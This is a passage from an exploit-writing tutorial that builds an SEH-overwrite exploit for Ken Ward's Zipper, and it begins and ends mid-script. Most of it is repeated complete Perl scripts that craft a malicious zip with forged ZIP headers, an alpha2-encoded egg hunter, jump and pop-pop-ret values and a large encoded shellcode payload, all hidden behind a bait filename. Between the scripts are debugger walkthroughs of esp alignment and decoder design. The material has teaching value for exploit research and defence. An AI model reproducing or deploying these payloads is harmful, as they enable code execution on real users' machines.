"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n"; print "[+] Writing shellcode to file\n"; open(FILE,">c:\\tmp\\shellcode.bin"); print FILE $shellcode; close(FILE); print "[+] Wrote " . length($shellcode)." bytes to file\n";
Create the new zip file, then trigger the overflow again. Allow pop pop ret to kick in, and step through until you land back at nseh. (Which still contains the jump back code). Don’t execute the jump back code yet, but instead of that, run the following command :
!pvefindaddr compare c:\tmp\shellcode.bin
That’s great news. Our shellcode was found in memory and it was not modified. So if we can make a jump to that location, we have a good chance of getting it to execute.
Just keep in mind that the address where the shellcode has been found, will most likely not be static/reliable. So in order to be safe, we’ll have to use an egg hunter.
Back to our initial question : what can and will we do with the jump back code at nseh ?
Answer : we need to write an egg hunter in the first part of the buffer (first part = part before overwriting the SEH record), so we have to use the jump back as starting point to eventually jump to the egg hunter and let it do it’s magic work.
Before we can even think about running the egg hunter, we will have to take a couple of steps
Let’s start with encoding the egg hunter and placing it in the buffer. After all, we will need to have its base address so we can write the instructions that are needed to put this baseaddres into edx.
The egg hunter I will use is the one that uses NtAccessCheckAndAuditAlarm :
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42". "\x52\x6A\x02\x58\xCD\x2E". "\x3C\x05\x5A\x74\xEF\xB8". "\x77\x30\x30\x74". # tag: w00t "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
We can encode it by
Script to write egg hunter to a file :
root@bt4:/pentest/exploits/alpha2# cat writecode.pl #!/usr/bin/perl # Little script to write shellcode to file # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 my $code= "\x66\x81\xCA\xFF\x0F\x42". "\x52\x6A\x02\x58\xCD\x2E". "\x3C\x05\x5A\x74\xEF\xB8". "\x77\x30\x30\x74". # tag: w00t "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; print "Writing code to file code.bin...\n"; open(FILE,">code.bin"); print FILE $code; close(FILE); root@bt4:/pentest/exploits/alpha2# perl writecode.pl Writing code to file code.bin... root@bt4/pentest/exploits/alpha2#
Feed egg hunter to alpha2 :
root@bt4:/pentest/exploits/alpha2# ./alpha2 edx < code.bin JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIRFMQzjY otOqRaBCZuRbxxMFNWLUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA
Now put this encoded egg hunter in the payload :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $junk = $egghunter . "A" x ($offset - length($filename.$egghunter)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$junk.$nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n"; print "[+] Writing shellcode to file\n"; open(FILE,">c:\\tmp\\shellcode.bin"); print FILE $shellcode; close(FILE); print "[+] Wrote " . length($shellcode)." bytes to file\n";
Create the zip file, trigger the crash in the debugger, let pop pop ret execute, and hold when you land at the jump back (at nseh). Don’t execute the jump back yet.
Look on the stack, and try to find the location where the egg hunter is located. A few minutes ago we found the begin of our payload somewhere before 0x0013F58E, so we should find our egg hunter somewhere around that location :
Our egg hunter is located exactly at 0x0013F58E (which makes sense, because we basically wrote the egg hunter directly after the spaces, and that is the same location where our A’s were found a few moments ago)
Look at the registers :
EAX 00000000 ECX 00415A68 zip4.00415A68 EDX 7C9032BC ntdll.7C9032BC EBX 7C9032A8 ntdll.7C9032A8 ESP 0013F00C EBP 0013F0E8 ESI 00000000 EDI 00000000 EIP 0013F908 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE) ST0 empty -UNORM 96D9 073C0000 02201372 ST1 empty +UNORM 1F80 00000171 BF820DF6 ST2 empty %#.19L ST3 empty +UNORM 00F9 00000171 BC6B12B8 ST4 empty +UNORM 5000 00000000 BF820D30 ST5 empty -UNORM FF98 00000000 F4424D64 ST6 empty %#.19L ST7 empty %#.19L 3 2 1 0 E S P U O Z D I FST 0220 Cond 0 0 1 0 Err 0 0 1 0 0 0 0 0 (GT) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
How can we now put 0x0013F58E into edx, in a reliable way ? We cannot just hardcode the address into edx…
In order to make it reliably, we have to take a value from another register, a value that is put in the register by the application itself… and then add or sub an offset from that register until edx points to the desired value.
What if we take the value of EBP ? It currently points at 0x0013F0E8. In order to get to 0x0013F58E, we need to add 1190 bytes to that address :
So that means that the instructions we need to execute in order to get the desired address into edx, and then jump to edx (to get the egg hunter to execute), could look something like this :
or, in opcode :
That’s 10 bytes of code that needs to be wrapped into a custom decoder. Good deal.
Before we can look at building the custom decoder (to reproduce those 10 bytes of code), we need to figure out how we can make the decoder write these instructions so we can execute them in a reliable way.
The custom decoder, as you will see (or as you have already seen in the quickzip exploits), uses push eax instructions to write the original code to the stack. By making the stack pointer (esp) point at a location that sits below the decoder, the reproduced/original code gets executed when the decoder finishes running.
So before we get the custom decoder to run, we have to set esp to a good location first.
How would you approach this ? How can you, based on the current state of the registers and stack, make esp point to a good location ?
Go back to the debugger. We are still at the location where the code at nseh would trigger a jump back.
When the jump back would be made, we would end up at 0x0013F8A2, which is 102 bytes before the current location :
At that moment, ESP will still point to the 0013F00C, which is way before the current EIP location. So when the jump back is made, we will have to put some “esp alignment code”, followed by the custom decoder. The esp alignment code needs to make esp point to a location after the custom decoder.
Look back at the contents of the registers 2 screenshots ago. None of the registers points to a good address in that perspective. So basically we cannot just take a value from an existing register and put that in ESP, because none of the registers contains a value that points to a location that would end up after the custom decoder.
What would you do in this scenario ?
Answer : if we look on the stack, we can see that the 5th address on the stack may help us out :
esp currently points at 0x0013F00C. The 5th address from the top of the stack contains 0x0013F908 (which is the address of nseh – just fyi – doesn’t really matter that it’s nseh – only the address itself and how it relates to the location where the custom decoder will be placed is important)
That’s nice, if we can take this value from the stack and put it in esp after we made the jump back (at nseh) to 0x0013F8A2, then esp would point to an address (0x0013F908) that sits after 0x0013F8A2 (where the esp alignment code + custom decoder will be placed located).
So that means that we can do this :
Sound fair, right ?
The total amount of code we can spend for the esp alignment code and the custom decoder = 102 bytes minus the 10 bytes of reproduced code (which will be pushed to esp at 0x0013F908).
Ok, what are the instructions we need to execute to align esp ?
we will simply do this :
0×58 = “X”. 0x5C = “\”. When building the exploit for quickzip, we noticed that a backslash would not do any harm. So let’s give it a try.
5 bytes of alignment code, 10 bytes of space for the reproduced code – that leaves us with 102 -5 – 10 = 87 bytes of available space for the custom decoder. Sound like a plan.
Let’s see if we can get esp to align first. We will change the exploit code, so the last 102 bytes before nseh would contain
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $espalign="\x58\x58\x58\x58\x5c"; my $decoder = "E" x (102 - length($espalign)); my $junk = $egghunter . "A" x ($offset - length($filename.$egghunter.$espalign.$decoder)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$junk.$espalign.$decoder.$nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . "\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" . "\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" . "\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" . "\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" . "\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" . "\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" . "\x46\x6a\x41\x41"; my $rest = "D" x ($size-length($payload.$shellcode)); $payload=$payload.$rest.$shellcode.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
Create the zip file and load it into the application. Look at what it looks like before trying to trigger the crash :
Hmmm – that does not look as nice as it used to. The “fake” filename sits before the backslash (0x5c) in the payload, so it is treated as a folder name. The filename now contains EEEEEE’s (which is the space available for the custom decoder).
Attach the debugger and try to trigger the access violation :
“Couldn’t view file”… Ouch – it looks like the backslash broke our exploit.
Damn. How can we now make esp point to a good location if we cannot pop a new value into esp ? It even doesn’t really matter if we have to make esp point to a location below or above the custom decoder, because in order to so so, we’ll still want to pop a new value into esp.
This is what I did.
Instead of using the “forbidden” pop esp command, which would put a new value directly into esp, I used instructions that would modify the value of esp. A single pop or push instruction already influences esp, but we need to close a gap between the current address in esp (0x0013F00C) and a location below the custom decoder (let’s say 0x0013F908). There are 2300 bytes between those 2 locations, and a single pop would increase the value at ESP with 4 bytes.
That would mean that we would need to write 2300 / 4 = 575 pop instructions. Ok – can be done, but there is a faster way. Where a pop instruction increases esp with 4 bytes, a popad instruction ( = 0×61, which is also a valid character) will increase it with 32 bytes at once. That means that we would only need 2300 / 32 popad instructions = about 72 popad’s. That’s more like it.
The issue we have is that, instead of 5 bytes of esp alignment code, we would now need 72 popad’s. So after jumping back 102 bytes from nseh, there would not be enough space left to write our custom decoder before overwriting nseh. We will take care of this in a minute. First, it’s important to fully understand the impact of these changes.
A single popad would replace all values in all registers. We had the idea to use the current value in ebp, put that into edx, and add 1190 bytes to edx, to make edx point at the start location of the egg hunter.
This, obviously, cannot be done anymore. After a single popad, the value in ebp will be gone. So we will need to come up with another solution. Before we can build that solution, we need to see what the registers and stack look like after 72 popad’s are executed.
Furthermore, as stated earlier, we will replace the 5 esp-alignment code bytes with 72 popad’s, but there won’t be enough space left for the custom decoder.
So what we will do is jump back another 102 bytes and place our 72 popad’s about 204 bytes before nseh. That should give us more space to place and run the custom decoder.
The “test” payload buffer would look like this :
Total size of the payload buffer so far = 1022 bytes. Next, add to the buffer :
Total size of the payload buffer = 4068 bytes
We will probably have to place the entire custom decoder at filler3, so at the end of filler2 we will have to jump to filler3 (to avoid ending up in a loop because of the jump back)
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; #alpha2 encoded egg hunter - w00t - basereg EDX my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA". "Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW". "LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $espalign="\x61" x 72; #make esp happy my $filler2 = "A" x (102-length($espalign)); my $jmpback="\x74\xf7"; #jump back 102 bytes - to $espalign my $filler3 = "A" x (102-length($jmpback)); my $filler1= "A" x ($offset - length($filename.$egghunter.$espalign.$filler2.$jmpback.$filler3)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$egghunter.$filler1. $espalign.$filler2. $jmpback.$filler3. $nseh.$seh; my $shellcode = "w00tw00t". "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . "\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" . "\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" . "\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" . "\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" . "\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" . 